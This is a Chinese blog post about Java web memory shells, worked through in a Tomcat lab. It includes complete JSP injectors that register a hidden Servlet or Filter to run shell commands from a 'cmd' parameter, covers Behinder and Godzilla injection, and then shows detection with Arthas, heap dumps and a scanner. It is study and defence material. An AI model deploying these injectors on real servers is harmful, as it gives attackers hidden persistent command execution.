浅析JavaWeb内存马基础原理与查杀思路

前言

几年前写过《Web安全-一句话木马》,主要介绍了一句话木马的原理和应用,同时介绍了小马和大马这类常见 Webshell:
imagepng
随着攻防演练热度越来越高,攻防双方的博弈愈发激烈,流量分析、EDR 等专业安全设备开始被蓝方广泛使用,传统的文件上传的 webshll 或以文件形式驻留的后门越来越容易被检测到。于是内存马便顺应时势地诞生了,它是无文件攻击的一种常用手段,属于无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,这给防守方的检测带来巨大难度,因而演变成了当今攻防对抗中的主流大杀器。

Webshell 的变迁过程大致如下所述:

Web服务器管理页面——> 大马 ——> 小马拉大马 ——> 一句话木马 ——> 加密一句话木马 ——> 加密内存马

本文来学习下 Java 内存马的基础原理和在实战中的基础应用,以及当前的一些简单查杀手段。

Java内存马

内存马分类&原理

根据内存马的实现技术,大致可以分为如下几类(引用《Shell中的幽灵王者—JAVAWEB 内存马 【认知篇】》一张图):

除了按照内存马的实现方式分类,还可以按照内存马的利用方式分为:冰蝎马、哥斯拉马、蚁剑马、命令回显马、流量隧道马等等。

【内存马基本原理】

内存马类型核心原理
Servlet-API 型内存马通过命令执行漏洞、反序列化漏洞、已有传统 Webshell 木马等可以 RCE 执行命令的攻击前提,借助 Java 反射技术,在 JVM 中动态注册一个新的 listener、filter 或者servlet 组件,从而实现在内存中注入可命令执行的无落地文件类的隐蔽木马。特定框架、容器的内存马原理与此类似,如 spring 的controller 内存马,tomcat 的 valve内存马。
Java-agent 型内存马Java Agent 简单来说就是 JVM 提供的一种动态 hook class 字节码的技术,通过 Instrumentation (Java Agent API),开发者(攻击者)能够以一种无侵入的方式 (类似 Spring AOP),在 JVM 加载某个 class 之前修改其字节码的内容,或者修改已经被 JVM 加载过的 class,此技术正常情况下可被用于 Java 程序的性能监控、信息收集、问题诊断等。而 Agent 内存马的实现就是利用了这一特性,动态修改特定类的特定方法,在内存中注入恶意代码。

【内存马的优劣势】

内存马的运用场景内存马的缺点
1)由于网络原因不能反弹 shell 的;2)内部主机通过反向代理暴露 Web 端口的;3)服务器上有防篡改、目录监控等防御措施,禁止文件写入的;4)服务器上有其他监控手段,写马后会告警监控,人工响应的;5)服务使用 Springboot 等框架,无法解析传统 Webshell 的;服务重启后会失效;对于传统内存马,存在的位置相对固定,已经有相关的查杀技术可以检出

JavaWeb三大组件

JavaWeb 三大组件指的是:Servlet 程序、Filter 过滤器、Listener 监听器。
imagepng
Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
imagepng
Filter 是介于 Web 容器和 Servlet 之间的过滤器,用于过滤未到达 Servlet 的请求或者由 Servlet 生成但还未返回响应。客户端请求从 Web 容器到达 Servlet 之前,会先经过 Filter,由 Filter 对 request 的某些信息进行处理之后交给 Servlet。同样,响应从 Servlet 传回 Web 容器之前,也会被 Filter 拦截,由 Filter 对 response 进行处理之后再交给 Web 容器。
imagepng
Listener 是用于监听某些特定动作的监听器。当特定动作发生时,监听该动作的监听器就会自动调用对应的方法,可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。下面是一个 HttpSession 的 Listener 示意图。
imagepng
Tomcat 作为 Servlet 容器,将 http 请求文本接收并解析,然后封装成 HttpServletRequest 类型的 request 对象,传递给 servlet;同时会将响应的信息封装为 HttpServletResponse 类型的 response 对象,然后将 response 交给 tomcat,tomcat 就会将其变成响应文本的格式发送给浏览器。
imagepng
Tomcat 简单概括 来说就是 http 服务器 + servlet 容器。下文的演示实验将均基于 Tomcat 服务器开展。

注入Servlet内存马

接下来将参考《 初识JAVA内存马》一文(强烈推荐仔细阅读),来认识下传统 JavaWeb 的 Servlet、Filter 类型内存马的注入原理与过程,环境直接使用在 Ubuntu 虚拟机上基于 Vulhub 的 Aapache Tomcat AJP Arbitrary File Read / Include Vulnerability(CVE-2020-1938) 漏洞环境。
imagepng
先看看正常的 Servlet 组件是如何注册的,新建一个 ShellServlet 接收前端发来的 cmd 命令并回显:

package com.example.servlet;

import java.io.*;
import java.util.Scanner;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

public class ShellServlet extends HttpServlet {

    public void init(ServletConfig servletConfig) throws ServletException {}

    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        // 从HTTP请求中获取名为"cmd"的参数,该参数包含要执行的操作系统命令
        String cmd = servletRequest.getParameter("cmd");
        // 检查操作系统类型以确定要使用的命令行解释器(Windows或Linux)
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        // 根据操作系统类型创建要执行的命令
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        // 执行命令并将输出写入到字符串变量中
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        // 将命令执行结果发送回HTTP响应
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    public void destroy() {
    }
}

然后需要将这个 ShellServlet 注册进 tomcat 容器,也就是在 web.xml 中写入:

<servlet>
  <servlet-name>Getshell</servlet-name>
  <servlet-class>com.example.servlet.ShellServlet</servlet-class>
</servlet>
<servlet-mapping>
  <servlet-name>Getshell</servlet-name>
  <url-pattern>/shell</url-pattern>
</servlet-mapping>

接着访问/shell并带上 cmd 参数就可以实现命令执行了。

现在我们的目标是往当前 Tomcat 搭建的 Web 服务中动态注入一个恶意 Servlet(即内存马),完成这个目标的当前前提是已经拥有了一个 Webshell(是的,当前想要注入内存马之前还需要拥有一个传统落地文件类型的马子来实现 RCE 才行,除非可以直接借助反序列化漏洞或命令执行漏洞直接 RCE,具体可参见《Tomcat反序列化注入回显内存马》,后续会单独学习),此处为了聚焦内存马的学习(实际上是懒得一步步搭建完整的漏洞环境),直接忽略此前提,直接手动向将一个恶意 jsp 文件,实现一个恶意 Servlet 的动态注册,从而注入内存马。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>

<%!
  public class Shell2Servlet extends HttpServlet {
    public void init(ServletConfig servletConfig) throws ServletException {}

    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    public void destroy() {}
 }
%>
<%
    //通过反射获取applicationContext
    ServletContext servletContext = request.getServletContext();
    Field applicationField = servletContext.getClass().getDeclaredField("context");
    applicationField.setAccessible(true);
    ApplicationContext applicationContext =  (ApplicationContext) applicationField.get(servletContext);
    //通过反射获取standardContext
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext context =  (StandardContext) standardContextField.get(applicationContext);
    //创建wrapper,将Servlet名放到wrapper,最后实例化Shell2Servlet
    Wrapper wrapper = context.createWrapper(); 
    wrapper.setName("Shell2Servlet"); 
    wrapper.setServletClass(Shell2Servlet.class.getName()); 
    wrapper.setServlet(new Shell2Servlet());
    //将wrapper放到standardContext里
    context.addChild(wrapper);
    //映射url地址,注意如果是Tomcat7则使用addServletMapping("/shell2", "Shell2Servlet")
    context.addServletMappingDecoded("/shell2", "Shell2Servlet", false);
%>
</body>
</html>

以上恶意 shell.jsp 文件通过反射技术,动态将一个路由为 /shell2"Shell2Servlet"组件注册到目标 Web 系统的 JVM 之中,而"Shell2Servlet"组件接受了外部传递的 “cmd” 参数并执行命令(典型的 jsp 木马),从而实现命令执行。

直接将上述 shell.jsp 复制存放到 Tomcat 靶场的 /webapps/ROOT路径下:
imagepng
然后访问 shell.jsp,完成恶意 Servlet 的动态注入到 Tomcat 容器的动作,即注入内存马:
imagepng
最后成功访问我们注入的内存马:
imagepng

注入Filter型内存马

Filter 作为 Java web 三大件之一,是一种可以对请求和响应进行拦截和处理的组件。Filter可以实现许多功能,如登录控制,权限管理,过滤敏感词汇等。Filter 的使用需要实现Filter接口,重写 doFilter 方法,并且配置拦截路径。

和 servlet 类似,我们先按正常操作添加一个 Myfilter:

package com.example.filter;
import javax.servlet.*;
import java.io.IOException;

public class Myfilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("Filter被执行了");
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {

    }
}

需要在 web.xml 中绑定 url:

<filter>
  <filter-name>Myfilter</filter-name>
  <filter-class>com.example.filter.Myfilter</filter-class>
</filter>
<filter-mapping>
  <filter-name>Myfilter</filter-name>
  <url-pattern>/hello</url-pattern>
</filter-mapping>

此时在访问 /hello的时候 doFilter 的逻辑代码就会被调用。

接下来我们的目的是注入一个 Filter 型内存马,即借助反射技术向 Tomcat 容器中直接注册一个恶意 Filter,使得在访问任意 URL 的时候均能调用到恶意代码。这个过程自然需要去阅读 Tomcat 源码看看其是如何完成 JavaWeb 项目中的 Filter 组件的解析和注册的,详情请参考《 初识JAVA内存马》。

总的来说,Tomcat Filter 的工作流程如下:

  • 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称;
  • 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig;
  • 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain;
  • filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法;

根据上面的流程分析,不难发现最开始是从 context 中获取的 FilterMaps,将符合条件的依次按照顺序进行调用,那么我们可以将自己创建的一个 FilterMap 然后将其放在 FilterMaps 的最前面,这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最终触发内存马。

此处直接给出最终的恶意 shell.jsp 代码:

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%!
public class Shellfilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        String cmd = servletRequest.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    @Override
    public void destroy() {
    }
}
%>
<%
   //拿到standardContext
   ServletContext servletContext = request.getServletContext();
   Field applicationField = servletContext.getClass().getDeclaredField("context");
   applicationField.setAccessible(true);
   ApplicationContext applicationContext =  (ApplicationContext) applicationField.get(servletContext);
   Field standardContextField = applicationContext.getClass().getDeclaredField("context");
   standardContextField.setAccessible(true);
   StandardContext standardContext =  (StandardContext) standardContextField.get(applicationContext);

   //设置filterDef
   FilterDef filterDef = new FilterDef();
   filterDef.setFilterClass(Shellfilter.class.getName());
   filterDef.setFilterName("Shellfilter");
   filterDef.setFilter(new Shellfilter());
   standardContext.addFilterDef(filterDef);

   //设置filterMap
   FilterMap filterMap = new FilterMap();
   filterMap.setFilterName("Shellfilter");
   filterMap.addURLPattern("/tr0e"); //设置要映射的url
   filterMap.setDispatcher(DispatcherType.REQUEST.name()); //设置分派类型,REQUEST表示普通的 HTTP 请求
   standardContext.addFilterMap(filterMap);

    //将standardContext和filterDef放到filterConfig中
    Class configclass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
    Constructor configconstructor = configclass.getDeclaredConstructor(Context.class,FilterDef.class);
    configconstructor.setAccessible(true);
    FilterConfig filterConfig = (FilterConfig) configconstructor.newInstance(standardContext,filterDef);

    //反射获取filterConfig
    Field configsfield = standardContext.getClass().getDeclaredField("filterConfigs");
    configsfield.setAccessible(true);
    Map filterConfigs = (Map) configsfield.get(standardContext);
    filterConfigs.put("Shellfilter",filterConfig);
%>
</body>
</html>

以上恶意 shell.jsp 文件通过反射技术,动态将一个路由为 /tr0e"Shellfilter"过滤器组件注册到目标 Web 系统的 JVM 之中,而"Shellfilter"过滤器组件在其 doFilter 函数中接受了外部传递的 “cmd” 参数并执行命令(典型的 jsp 木马),从而实现命令执行。

同样直接将上述 shell.jsp 放到服务器的 ROOT 根路径下,然后访问 shell.jsp,完成恶意 Filter 的注册(完成内存马的注入):
imagepng
接着访问对应的路由 “/tr0e” 并传递 “cmd” 参数执行命令即可:
imagepng

JAVA Agent内存马

前面已经简单介绍了 Java Agent 内存马的基本原理,Java 在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法。Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去。

0x01 Java Agent基础

首先推荐一篇博文:《Java Agent 从入门到内存马》,从 0 到 1 讲述了 Java Agent 基本原理和 Agent 内存马的生成,很适合像我这样第一次了解 Java Agent 内存马的新手学习。特别声明:本小节参考了此文章大部分内容。

Java agent 的使用方式有两种:

  • 实现 premain 方法,在 JVM 启动前加载。
  • 实现 agentmain 方法,在 JVM 启动后加载。

以一个简单的 premain 为例,创建一个类并且实现 premain 方法:

package com.shiroha.demo;

import java.lang.instrument.Instrumentation;

public class PreDemo {
    public static void premain(String args, Instrumentation inst) throws Exception{
        for (int i = 0; i < 10; i++) {
            System.out.println("hello I`m premain agent!!!");
        }
    }
}

需要打包成 jar,比如 agent.jar,然后使用 -javaagent:agent.jar 参数执行 hello.jar(实现逻辑就是打印 hello world),结果如下:
imagepng
可以发现在 hello.jar 输出 hello world 之前就执行了 agent.jar 的 com.shiroha.demo.PreDemo$premain 方法。
imagepng
然而这种方法存在一定的局限性——只能在启动时使用-javaagent参数指定。在实际环境中,目标的 JVM 通常都是已经启动的状态,无法预先加载premain。相比之下,agentmain 更加实用。

agentmain 不是通过 JVM 启动前的参数来指定的,官方为了实现启动后加载,提供了 Attach API,核心类是 VirtualMachine,类允许我们通过给 attach 方法传入一个 jvm 的 pid(进程id),远程连接到 jvm 上,代理类注入操作只是它众多功能中的一个,通过 loadAgent 方法也可以向 jvm 注册一个代理程序 agent。

public abstract class VirtualMachine {
    // 获得当前所有的JVM列表
    public static List<VirtualMachineDescriptor> list() { ... }

    // 根据pid连接到JVM
    public static VirtualMachine attach(String id) { ... }

    // 断开连接
    public abstract void detach() {}

    // 加载agent,agentmain方法靠的就是这个方法
    public void loadAgent(String agent) { ... }

}

通过 agentmain 注入 agent 的流程大致如下:
imagepng
与 Java Agent 相关的技术与 API 还有:

  1. Instrumentation:JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent 通过这个类和目标 JVM 进行交互,从而达到修改数据的效果;
  2. Javassist: JAVA programming ASSISTant 是在 Java 中编辑字节码的类库,它使 Java 程序能够在运行时定义一个新类, 并在 JVM 加载时修改类文件。我们常用到的动态特性主要是反射,在运行时查找对象属性、方法,修改作用域,通过方法名称调用方法等。在线的应用不会频繁使用反射,因为反射的性能开销较大。而还有一种和反射一样强大的特性,但是开销却很低,它就是 Javassist。

篇幅所限不展开介绍相关 API,此处直接给出一个实际的通过 Java Agent 动态修改 java 程序逻辑的案例。

先定义待注入的目标程序 hello.jar(使用 Scanner 是为了在注入前不让程序结束):

// HelloWorld.java
public class HelloWorld {
    public static void main(String[] args) {
        hello h1 = new hello();
        h1.hello();
        // 输出当前进程的 pid
        System.out.println("pid ==> " + [pid])
        // 产生中断,等待注入
        Scanner sc = new Scanner(System.in);
        sc.nextInt();
        hello h2 = new hello();
        h2.hello();
        System.out.println("ends...");
    }
}

// hello.java
public class hello {
    public void hello() {
        System.out.println("hello world");
    }
}

接着定义 Java agent 程序 agent.jar:

// AgentDemo.java
public class AgentDemo {
    public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, UnmodifiableClassException {
        Class[] classes = inst.getAllLoadedClasses();
        // 判断类是否已经加载
        for (Class aClass : classes) {      
            if (aClass.getName().equals(TransformerDemo.editClassName)) { 
                // 添加 Transformer
                inst.addTransformer(new TransformerDemo(), true);
                // 触发 Transformer
                inst.retransformClasses(aClass);
            }
        }
    }
}

// TransformerDemo.java
// 如果在使用过程中找不到javassist包中的类,那么可以使用URLCLassLoader+反射的方式调用
public class TransformerDemo implements ClassFileTransformer {
    // 只需要修改这里就能修改别的函数
    public static final String editClassName = "com.xxxx.hello.hello";
    public static final String editClassName2 = editClassName.replace('.', '/');
    public static final String editMethod = "hello";

    @Override
    public byte[] transform(...) throws IllegalClassFormatException {
        try {
            ClassPool cp = ClassPool.getDefault();
            if (classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                cp.insertClassPath(ccp);
            }
            CtClass ctc = cp.get(editClassName);
            CtMethod method = ctc.getDeclaredMethod(editMethodName);
            //通过javassist技术动态修改所注入进程的函数逻辑
            String source = "{System.out.println(\"hello transformer\");}";
            method.setBody(source);
            byte[] bytes = ctc.toBytes();
            ctc.detach();
            return bytes;
        } catch (Exception e){
            e.printStackTrace();
        }
        return null;
    }
}

这个示例比较通用,需要更改不同的方法时只需要改变常量和 source 变量即可。

来看看效果:
imagepng
可以看到的是当第二次调用com.xxx.hello.hello#hello()的时候,输出的内容变成了hello transformer

0x02 冰蝎内存马实践

直接将冰蝎的普通 shell.jsp 复制到靶场的根路径下(省略实战中的文件上传漏洞的利用过程):
imagepng
默认连接密码:rebeyond,成功连接:
imagepng
进一步右键注入内存马:
imagepng
imagepng
imagepng
imagepng

0x03 冰蝎内存马浅析

冰蝎属于开源项目,可以下载并查看其源码,分析内存马的实现:Release Behinder_v4.1【t00ls专版】 · rebeyond/Behinder

冰蝎内存马通过修改 javax.servlet.http.HttpServlet#service 方法,添加自己的内存马逻辑,具体的实现过程分析请参见: 《冰蝎内存webshell注入和防检测分析》。

从 injectMemShell 方法里面可以发现冰蝎通过文件上传功能,根据 OS 信息上传内置的不同 agent.jar,然后通过 loadJar 函数加载对应的恶意 agent.jar 注入到目标进程 Java 之中:
imagepng
查看对应的 resource 目录,可发现被注入的 4 个 jar 包(其具体逻辑分析此处暂且忽略):
imagepng
整体上,冰蝎内存马大致的的实现流程可简单概括如下:

  • 通过 javaassist 获取 javax.servlet.http.HttpServlet 类的字节码;
  • 向 service 方法添加字节码;
  • 清除 javaassist 缓存,调用 redefineClass 重新定义修改后的 HttpServlet 字节码;

这样,http 中间件在处理每个 http 链接的时候,就会调用修改后的 httpservlet 方法。如果发现处理的 url 为内存马需要响应的 url,则执行 webshell 处理流程,否则隐藏不执行任何操作。

哥斯拉木马

哥斯拉和冰蝎实现内存马的方式是不一样的,哥斯拉选择的是动态注册 Servlet 组件来实现内存马的注入,而冰蝎则是通过 javaagent 技术配合 javassist 技术来实现内存马的注入。详情可参见:《JAVA内存马的“一生”》和 《冰蝎内存webshell注入和防检测分析》。

接下来还是在 Ubuntu 虚拟机上借助 Vulhub 的 Aapache Tomcat AJP Arbitrary File Read / Include Vulnerability(CVE-2020-1938) 漏洞环境上传哥斯拉的传统 Webshell 木马,并注入内存马,同时看下当前一些查杀内存马的工具与思路。
imagepng

0x01 WebShell

生成哥斯拉木马:
imagepng
借助 docker cp test.jsp 容器 id:/tmp/test.jsp 将马子传递到 docker 容器的 Tomcat 的 /Webapps/ROOT 根路径下:
imagepng
imagepng
连接木马:
imagepng
imagepng
imagepng

0x02 MemShell

借助上面哥斯拉 jsp 木马的 Webshell 会话,进一步注入内存马:
imagepng
新建 Webshell 连接测试,成功连接内存马:
imagepng
imagepng

0x03 FilterShell

顺便再上一个 FilterShell 体验下:
imagepng
查询过滤器,可以看到成功新增的过滤器,同时哥斯拉提供了删除插入的恶意 FilterShell 的功能:
imagepng
But 这个马子如何使用??根据已有信息连接不上,官方文档和公开文章也没看到相关信息……有知情大佬请赐教。

0x04 Arthas排查

Arthas 是 Alibaba 开源的 Java 诊断工具,也可用于帮助我们分析 JVM 内存中的风险数据。
imagepng
具体用法参见:https://github.com/alibaba/arthas/blob/master/README_CN.md 或者 https://arthas.aliyun.com/doc/
与内存马排查相关的命令用法如下:

//下载arthas-boot.jar,然后用java -jar的方式启动:
curl -O https://arthas.aliyun.com/arthas-boot.jar
java -jar arthas-boot.jar
//查看 Mbean 的信息,查看异常Filter/Servlet节点
mbean | grep -E "Servlet|Filter"
//搜索符合pattern的Servlet
sc *.Servlet
//搜索符合pattern的Filter
sc *.Filter
//反编译指定类的字节码,查看类的实现代码
jad --source-only org.apache.jsp.memshell_jsp
//将JVM中所有的classloader的信息统计出来,显示当前应用程序中所有的类加载器及其层次结构,可以查看每个类加载器的名称、父加载器和已加载的类数量
classloader
//heapdump生成 Java 应用程序的堆转储(Heap Dump)文件
[arthas@1]$ heapdump
Dumping heap to /usr/local/tomcat/temp/heapdump2024-04-03-03-098355333472555367560.hprof ...
Heap dump file created
[arthas@1]$

imagepng
首先借助 mbean | grep "name=/"查看 Mbean 属性信息,可以发现上面注入 Memshell 后多了个异常 servlet:
imagepng
进一步借助 sc *.Servlet命令搜索出所有已经加载到 JVM 中的 Servlet Class 信息,发现原来注入的 Webshell 文件 test.jsp:
imagepng
也可以使用 sc *.Filter查看所有的 Filter,看到了可疑的 Filter:org.apache.coyote.deser.std.StdScalarDeserializer(名字伪造得很像合法的了):
imagepng
使用 Arthas 提供的 jad 命令直接反编译查看源码,以jad org.apache.coyote.deser.std.StdScalarDeserializer为例(实际上 org.apache.coyote.introspect.WithMember 也属于恶意 FilterShell):
imagepng
imagepng
imagepng
还可以通过 classloader 命令将 JVM 中所有的 classloader 的信息统计出来:
imagepng
最后有个终极排查思路,就是内存 dump,不管内存马如何 hook,但是内存🐴肯定是在内存中的。通过 Arthas 提供的 heapdump 命令生成 Java 应用程序的堆转储(Heap Dump)文件:

[arthas@1]$ heapdump
Dumping heap to /usr/local/tomcat/temp/heapdump2024-04-03-03-098355333472555367560.hprof ...
Heap dump file created
[arthas@1]$

拖到宿主机进行检索,可使用 string 查看 POST 请求的记录,排查可疑的请求目录:

strings /home/sbw/Downloads/test.hprof|grep "POST /"
//搜索webapps下的文件请求,排查是否有异常的可疑文件
strings /home/sbw/Downloads/test.hprof|grep -E "/webapps/.*?!" | sort -u

如下发现了哥斯拉 Webshell 的连接请求:
imagepng

0x05 scanner查杀

c0ny1 师傅编写的工具:java-memshell-scanner,通过 jsp 脚本扫描 java web Filter/Servlet 型内存马,原理分析:Filter/Servlet型内存马的扫描抓捕与查杀
imagepng

sbw@ubuntu:~/Downloads$ docker cp tomcat-memshell-scanner.jsp ef:/usr/local/tomcat/webapps/ROOT
Successfully copied 21.5kB to ef:/usr/local/tomcat/webapps/ROOT
sbw@ubuntu:~/Downloads$

访问 tomcat-memshell-scanner,成功识别出来上面注入的 Memshell 和 FilterShell 两个内存马:
imagepng
点击对应的 kill 按钮可以直接清除对应的内存马,注销 Servlet 的大致原理是,通过反射调用,将该 Servlet 从全局 servletMappings 和 children 中清除掉即可:
imagepng
imagepng
最后,顺便实践看下冰蝎注入的内存马能否被此脚本检测出来:
imagepng
imagepng

【More】 了解更多 Java 内存马的实现原理,请参见:《JAVA内存马的“一生”》、《JavaWeb 内存马一周目通关攻略 | 素十八》、《Java内存马攻防实战—攻击基础篇》和 《冰蝎内存webshell注入和防检测分析》。

总结

传统的 Webshell 后门,无论如何花费心思隐藏、如何变化,在现有的防御措施下都已经无法有效长期在目标系统内存留,防御措施简单列举:

  • 对于终端安全:有文件监控、防篡改、EDR;
  • 对于后门:有 Webshell 查杀、流量监测;
  • 对于网络层面:有防火墙防止反连、反向代理系统隐藏真实 IP 等等。

目前主流的防御措施针对 Webshell 的静态检出率在 90% 以上,在部分环境下甚至完全无法落地,防御方可以做到快速应急响应。正因为这些限制,内存马技术得以诞生并快速发展,无文件攻击、内存 Webshell、进程注入等基于内存的攻击手段也受到了越来越多攻击者青睐,在实战环境中已占得一席之地。

【内存马的排查思路】

作为应急或者运维人员,当遇到疑似内存马的安全事件时,该如何去快速确认内存马是否存在以及确认内存马的位置呢?大体思路如下。

  1. 先查看检查服务器 web 日志,查看是否有可疑的 web 访问日志,比如说 filter 或者 listener 类型的内存马,会有大量 url 请求路径相同参数不同的,或者通过查找返回 200 的 url 路径对比 web 目录下是否真实存在文件,如不存在大概率为内存马。
  2. 在 java 中只有被 JVM 加载后的类才能被调用,或者在需要时通过反射通知 JVM 加载,所以特征都在内存中,表现形式为被加载的 class,因此产生一个检测思路:dump JVM 已加载 class 字节码->反编译成 java 代码-> 源码 webshell 检测。

目前常用的哥斯拉、冰蝎、蚁剑等常用的 Webshell 管理工具,都提供了一键打入内存马的功能,但是同时也存在一个致命的逻辑上的“问题”:要先有文件型 webshell,再植入内存马,这是不是违背了使用内存马技术的初衷?

攻防实战中是否也一定要通过落地 JSP 再使用 Webshell 管理软件进行内存马注入?能否实现完全无落地文件便注入内存马?答案是当然的,比如我们也可以直接借助反序列化漏洞或命令执行漏洞等 RCE 漏洞直接植入内存马,具体可参见《Tomcat反序列化注入回显内存马》,后续会结合反序列化漏洞进行单独学习。

本文参考文章:

  1. Shell中的幽灵王者—Java内存马_认知篇
  2. 一文看懂内存马 - FreeBuf网络安全行业门户
  3. 初识JAVA内存马_JavaWeb传统内存马从0到1
  4. Java Agent 从入门到内存马
  5. 干货|冰蝎、哥斯拉 内存马应急排查
  6. 内存马检测排查手段
  7. Java内存马攻防实战_攻击基础篇_全
  8. JAVA内存马的“一生”(很全面)
  9. JavaWeb 内存马一周目通关攻略 | 素十八
  • 33
    点赞
  • 44
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Tr0e

分享不易,望多鼓励~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值